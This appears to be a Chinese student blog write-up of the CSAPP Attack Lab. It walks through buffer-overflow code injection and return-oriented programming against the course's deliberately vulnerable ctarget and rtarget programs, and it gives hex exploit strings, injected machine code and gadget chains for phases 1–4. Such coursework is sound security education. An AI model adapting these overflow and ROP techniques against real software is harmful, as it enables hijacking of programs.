CSAPP 实验III Attack Lab

尝试找到操作系统和服务器的安全漏洞,然后用不同的方法利用漏洞破坏程序。

更新历史:

  • 23.03.18:初稿

系列

任务目标

Attack Lab实验,采用 code-injection 和 return-oriented 两种方法攻击程序。

相关内容

  1. ./ctarget -q:运行目标文件用参数-q,不使用服务器
  2. -i FILE: 文件输入
  3. ./hex2raw < 1.txt | ./ctarget -q: 答案不换行,用hex2raw转换成字符串,注意需要用小端存储。
  4. call指令会将8个字节的rip值入栈,作为ret返回地址。
  5. code-injection:关闭了栈随机化,栈不可执行和canary。
  6. return-oriented:打开栈随机化和不可执行,关闭canary。

题目及解法

思路

和课程中讲解的两种漏洞的破解方式相同:代码注入利用缓冲区溢出,把需要执行的指令输入到栈中。面向返回编程将需要的指令片段返回地址输入到缓冲区中,模拟一个程序计数器,顺序执行需要执行的指令。由于bomb实验对每一条汇编命令都进行了解释,这个实验就不逐条解释了,把之前做过的答案重新整理一遍。

Phase 1

思路:第一个很简单输入函数开辟了0x28的空间用于保存输入,返回地址在rsp+0x28的位置,所以输入一段0x28字节的字符串后面跟上返回touch1的地址,注意地址是小端存放:C0 17 40 00 00 00 00 00, 以下答案为了方便观看添加了换行,运行程序时需要去掉换行。

  1. gdb进入程序,对test函数反汇编:

  2. 调用了getbuf函数,可以查看一下汇编代码,找出缓冲区的大小

  3. 缓冲区大小为0x28,40个字节,输入的字符串保存在当前rsp处。然后输入40个字节无用数据,充满缓冲区,继续输入8个字节的touch1地址,覆盖掉原地址。

  4. 对要跳转的touch1函数反汇编,找一下函数入口地址:

  5. 所以需要返回的地址为0x00000000004017c0,输入小端存放。

答案:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

Phase 2

思路:

第二个需要注入可执行代码, 需要把touch2的参数寄存器rdi内容设置为cookie, 这样重置ret到touch2才能正确执行, 所有第一次在getbuf中把返回值重置为一个栈地址, 然后在这个地址内写入一系列操作, 每次ret后返回地址会自动退栈, 所以先把rsp-8, 然后在rdi写入touch2的地址,然后将rdi写入rsp指向的栈地址中,然后把cookie值写入rdi中,最后ret。

  1. 先查看一下touch2函数的入口在哪里:

  2. 可以看到需要返回地址为0x00000000004017ec, 参数可以进入touch2函数打印一下那个局部变量的值,也可以在上一个题目输出信息那里看到,我的cookie值为0x59b997fa

  3. 这次需要让指令在栈中执行,所以需要知道getbuf时%rsp的值,可以在test处打断点,display $rsp,值为$rsp = (void *) 0x5561dcb0。test函数中分配8个字节,call getbuf 时使用了8个字节,getbuf分配40个字节,一共分配了56个字节,所以在我们输入字符串时,rsp指向的地址值应该是0x5561dc78

  4. 接下来就是注入一段需要运行的代码,可以先写汇编代码,通过指令gcc -c foo.s,生成二进制代码foo.o, 在通过objdump -d foo.o反汇编,生成可读的机器指令。

答案:

48 83 ec 08           /*  sub    $0x8,%rsp */
48 c7 c7 ec 17 40 00 /* mov $0x4017ec,%rdi */
48 89 3c 24 /* mov %rdi,(%rsp) */
48 c7 c7 fa 97 b9 59 /* mov $0x59b997fa,%rdi - set cookie */
c3 /* retq */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00
78 dc 61 55 00 00 00 00/* return adress, execute exploit code */

Phase 3

思路:

第三题和第二题基本相同return到touch3后要进行一次cookie对比,第二题是十六进制的数字对比,可以提前把cookie写入rdi寄存器里,但是第三题的参数是一个字符串指针,所以要把字符串地址写入rsi第二个参数寄存器里,不能用在栈中写,因为后面还有两次函数调用,栈空间很容易被覆盖,找了一下变量cookie的地址,这个地址0x6044e4的后面有很长一段地址没有使用过,所以可以把字符串写入0x6044ec,rsi的参数传递在0x6044ec,还有一个地方是字符串0x59b997fa,每个字符存在一个字节里,一共需要8个字节的空间,可以用mov,写入十六进制数,但是要注意字符串大端存放,数字是小端存放,翻转一下就可以了.

  1. 根据实验指南中提示的函数hexmatch, 做了一个字符串对比,第二个参数是字符串地址,而且在函数中将传入的cookie值转换成了一个随机地址的字符串,然后进行字符串对比,所以我们需要提前把字符串写入到固定的地址,然参数传进去。

  2. disas touch3

  3. 可以看出cookie值存在内存的0x6044e4处,打印一下周围的内存值,x/6xg

  4. 上面可以看到后面有一部分是没有使用的内存,选一个0x6044ec,把我们的字符串写入这里,注意大端存放。

  5. 接下来注入要运行的指令,和上一题相同,但是要把字符串写入到选定的地址里,字符串59b997fa转换为16进制为0x35 0x39 0x62 0x39 0x39 0x37 0x66 0x61,但是要注意小端存放的值为0x6166373939623935,所以写入这个值,当做字符串读出时刚好是cookie值。movabs:用于64位立即数赋值。

答案:

48 83 ec 08           /*  sub    $0x8,%rsp */
bf fa 18 40 00 /* mov $0x4018fa,%edi */
48 89 3c 24 /* mov %rdi,(%rsp) */
bf ec 44 60 00 /* mov $0x6044ec,%edi */
48 be 35 39 62 39 39
37 66 61 /* movabs $0x6166373939623935,%rsi */
48 89 37 /* mov %rsi,(%rdi) */
c3 /* retq */
00 00 00 00 00 00 00
00
78 dc 61 55 /* return adress, execute exploit code */

Phase 4

思路:

第四题,和第二题相同,需要把代码返回到touch2里面,但是不能像phase2中代码注入运行代码,因为栈内标记为不可执行了,所以要使用ROP的方法来操作,在给出的gadget中选择两个连续的48 89 c7 c3, mov %rax,%rdi, 还有一个58 c3, popq %rax,将这两条指令的地址用栈溢出的方法写到返回里,在返回地址中间加上cookie码。

  1. gcc -c farm.c:生成目标文件
    objdump -d farm.o > farm.s:反汇编生成可读指令
    这里需要注意优化级别为 -Og,与实验的优化级别相同

    objdump -d rtarget.o > rtarget.s:直接对可执行文件反汇编生成的指令带地址,更方便看一些。

  2. rtarget.s中找我们需要的指令,

  3. setval_426函数中有:地址为4019c5

  4. 找到我们需要的48 89 c7,后续的90是一个nop,什么也不做,计数器加1,最后跟着c3ret。

  5. 上面把rax的值存到rdi中了,接下来我们就是找一个pop指令58 90 c3,退栈到rax中,找到getval_280:地址为4019cc

  6. 所以溢出的输入为退栈到rax,栈顶是cookie值,然后执行0x4019c5的mov指令,最后返回touch2。注意所有的操作都是8字节。

答案:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 01 02 00 00   /*40个字节溢出 */
cc 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

Phase 5

思路:

和Phase 3相同,但是要把代码注入改为target序列执行指令,可能需要对寄存器的低字节进行操作,还没想出怎么做这个题目,后面有时间了再来做。

答案: